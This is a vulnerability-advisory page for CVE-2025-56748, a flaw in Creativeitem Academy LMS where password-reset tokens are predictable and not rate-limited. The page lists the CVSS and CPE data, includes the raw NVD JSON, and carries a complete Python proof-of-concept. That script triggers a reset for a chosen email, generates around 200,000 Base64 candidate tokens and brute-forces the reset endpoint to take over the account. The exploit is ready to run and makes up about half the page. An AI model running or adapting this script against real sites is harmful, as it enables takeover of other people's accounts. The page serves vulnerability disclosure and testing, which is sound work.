Security Vulnerability Report
中文
CVE-2025-56748 CVSS 6.4 MEDIUM

CVE-2025-56748

Published: 2025-10-15 15:16:05
Last Modified: 2025-10-21 19:24:51

Description

Creativeitem Academy LMS up to and including 5.13 uses predictable password reset tokens based on Base64 encoded templates without rate limiting, allowing brute force attacks to guess valid reset tokens and compromise user accounts.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:creativeitem:academy_lms:*:*:*:*:*:*:*:* - VULNERABLE
Creativeitem Academy LMS <= 5.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56748 - Academy LMS Password Reset Token Brute Force PoC Description: Exploits predictable Base64-encoded password reset tokens without rate limiting to perform account takeover. Author: Security Research PoC """ import requests import base64 import re import sys import time from urllib.parse import urljoin TARGET_URL = "http://target-academy-lms.com" TARGET_EMAIL = "[email protected]" WORDLIST_FILE = "reset_tokens.txt" class AcademyLMSExploit: def __init__(self, base_url, target_email): self.base_url = base_url self.target_email = target_email self.session = requests.Session() self.reset_endpoint = urljoin(base_url, "/login/forgot_password") self.verify_endpoint = urljoin(base_url, "/login/reset_password") def trigger_password_reset(self): """Trigger password reset to obtain a sample token for analysis.""" data = {"email": self.target_email} resp = self.session.post(self.reset_endpoint, data=data) print(f"[*] Password reset triggered for {self.target_email}") return resp def generate_candidate_tokens(self, sample_token=None): """Generate candidate Base64-encoded tokens based on observed patterns.""" candidates = [] # Pattern 1: Sequential numeric tokens encoded in Base64 for i in range(1, 100000): token = base64.b64encode(str(i).encode()).decode().rstrip("=") candidates.append(token) # Pattern 2: Timestamp-based tokens for ts in range(int(time.time()) - 86400, int(time.time()) + 86400, 60): token = base64.b64encode(str(ts).encode()).decode().rstrip("=") candidates.append(token) # Pattern 3: MD5/SHA hash patterns import hashlib for i in range(100000): h = hashlib.md5(str(i).encode()).hexdigest()[:16] token = base64.b64encode(h.encode()).decode().rstrip("=") candidates.append(token) return candidates def brute_force_token(self, token): """Attempt to use a candidate token to reset password.""" url = f"{self.verify_endpoint}/{token}" resp = self.session.get(url, allow_redirects=False) # Check if token is valid (redirect to password reset form) if resp.status_code == 200 and b"new_password" in resp.content.lower(): return True return False def exploit(self): """Main exploitation routine.""" print("[*] Starting CVE-2025-56748 exploitation...") self.trigger_password_reset() candidates = self.generate_candidate_tokens() print(f"[*] Generated {len(candidates)} candidate tokens") for idx, token in enumerate(candidates): if self.brute_force_token(token): print(f"[+] VALID TOKEN FOUND: {token}") print(f"[+] Reset URL: {self.verify_endpoint}/{token}") print(f"[+] Account takeover possible for {self.target_email}") return token if idx % 1000 == 0: print(f"[*] Tested {idx}/{len(candidates)} tokens...") print("[-] No valid token found in wordlist") return None if __name__ == "__main__": if len(sys.argv) >= 3: TARGET_URL = sys.argv[1] TARGET_EMAIL = sys.argv[2] exploit = AcademyLMSExploit(TARGET_URL, TARGET_EMAIL) exploit.exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56748", "sourceIdentifier": "[email protected]", "published": "2025-10-15T15:16:04.610", "lastModified": "2025-10-21T19:24:51.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Creativeitem Academy LMS up to and including 5.13 uses predictable password reset tokens based on Base64 encoded templates without rate limiting, allowing brute force attacks to guess valid reset tokens and compromise user accounts."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 4.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-640"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:creativeitem:academy_lms:*:*:*:*:*:*:*:*", "versionEndIncluding": "5.13", "matchCriteriaId": "EEDDA428-3C2A-4CB6-B809-9859B79F2486"}]}]}], "references": [{"url": "https://suryadina.com/academy-lms-reset-bruteforce-5q8w2e7t9y/", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Third Party Advisory"]}]}}